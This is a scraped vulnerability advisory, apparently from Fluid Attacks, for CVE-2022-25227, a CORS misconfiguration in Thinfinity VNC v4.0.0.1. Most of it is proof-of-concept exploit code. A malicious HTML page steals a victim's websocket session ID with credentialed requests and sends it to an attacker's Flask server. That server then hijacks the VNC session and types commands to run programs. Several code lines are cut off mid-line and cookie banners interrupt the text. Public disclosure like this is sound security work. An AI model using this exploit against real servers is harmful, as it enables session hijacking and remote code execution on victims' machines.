attacks

Thinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE

Summary

This website uses cookies
We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Affected versions	v4.0.0.1
State	Public
Release date	2022-05-17

Vulnerability

Kind	CORS Misconfiguration
Rule	134. Insecure or unset HTTP headers - CORS
Remote	Yes
CVSSv3 Vector	CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
CVSSv3 Base Score	8.3
Exploit available	Yes
CVE ID(s)	CVE-2022-25227

This website uses cookies
We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Proof of Concept

1. Create a malicious site with the following content and send it to the victim.

```
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS Thinfinity POC Exploit</h2>
<h3>Extract ID</h3>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
```

```
</div>

<script>
function cors() {

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {

        response = JSON.parse(this.responseText)
        id_str = response['id']

        id_str = id_str.slice(1, id_str.length - 1)

        alert("Exfiltrated ID: " + id_str)
        alert("Do you want to send the exploit?")

        const flask_http = new XMLHttpRequest();
```

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

```
        // Send ID to flask application
        flask_http.open("GET", url)
        flask_http.send()

        flask_http.onreadystatechange = function() {
                alert('Done!!!')
        }

    }
};

// exfiltrate ID using CORS vulnerability

// CHANGE THIS
```

```
var server = "172.16.28.140:8081"
xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscomp
xhttp.withCredentials = true;
xhttp.send();
}


</script>

</body>
</html>
```

2. Create a web socket connection against the target server using the exfiltrated `ID`. The following PoC sends the Ctrl+Esc keystroke

This website uses cookies
We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

```
id_str ="D6647736-7489-4FA3-9620-25F2DC7FA1F6"

ws = create_connection("ws://172.16.28.140:8081/vnc/%7B" + id_str +
command = "cmd=fkey&key=CtrlEsc&id={" + id_str + "}"
ws.send(command)
```

3. The exploit below can be used to send arbitrary commands to the server after the `ID` is exfiltrated. It uses the `ID` to hijack the VNC connection and send keystrokes or mouse moves to the server.

Exploit

- Run the flask application and trick a user with a session in Thinfinity to visit the page.

```
# export FLASK_APP=exploit_thinfinity
# flask run --host=0.0.0.0

from flask import Flask, request, redirect
from websocket import create_connection
import time
import socket

app = Flask(__name__)


# CHANGE THIS
server = "192.168.1.7:8081"
```

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

```
    ws.send("cmd=keyb&key=13&char=0&action=down&id={" + str_id + "}")
    time.sleep(1)

def send_ctrl_esc(ws, str_id):
    ws.send("cmd=fkey&key=CtrlEsc&id={%s}" % str_id)
    time.sleep(1)

def send_text(ws, cmd, str_id):

    for c in cmd:
        key = str(ord(c))

        command  = "cmd=keyb&key=66&action=down&id={%s}&char=%s&locatio
        ws.send(command)
        time.sleep(0.2)
    time.sleep(2)


@app.route("/exploit")
def about():

    ip = request.host.split(':')[0]

    return """
        <!DOCTYPE html>
        <html>
        <body>
        <center>
        <h2>CORS Thinfinity POC Exploit</h2>
        <h3>Extract ID</h3>

        <div id="demo">
```

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

```
        xhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {

                response = JSON.parse(this.responseText)
                id_str = response['id']

                id_str = id_str.slice(1, id_str.length - 1)

                alert("Exfiltrated ID: " + id_str)
                alert("Do you want to send the exploit?")

                const flask_http = new XMLHttpRequest();

                // Server to exfiltrate the websocket id
                // CHANGE THIS
                var exf_server = "%s:5000"
                const url = "http://" + exf_server + "/cors?id=" + id_s


                // Send ID to flask application
                flask_http.open("GET", url)
                flask_http.send()

                flask_http.onreadystatechange = function() {
                        alert('Done!!!')
                }

            }
        };

        // exfiltrate ID using CORS vulnerability
```

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

```
        </script>
        </body>
        </html>
    """ % (ip, server)


@app.route('/cors',methods=['GET'])
def cors():
    str_id = request.args.get('id')
    print(str_id)
```

```
        socket_url = "ws://" + server +  "/vnc/%7B"+ str_id +"%7D"
        ws = create_connection(socket_url)

        send_ctrl_esc(ws,str_id)

        send_text(ws,"run",str_id)
        send_enter(ws,str_id)

        send_text(ws,"calc.exe",str_id)
        send_enter(ws,str_id)

        return str_id

    @app.route("/")
    def index():
        return redirect('/exploit')
```

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of `Fluid Attacks`.

References

Vendor page https://www.cybelesoft.com/thinfinity/

Timeline

- 2022-04-11
  Vulnerability discovered.

2022-04-11
Vendor contacted.

2022-05-17
Public Disclosure.

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details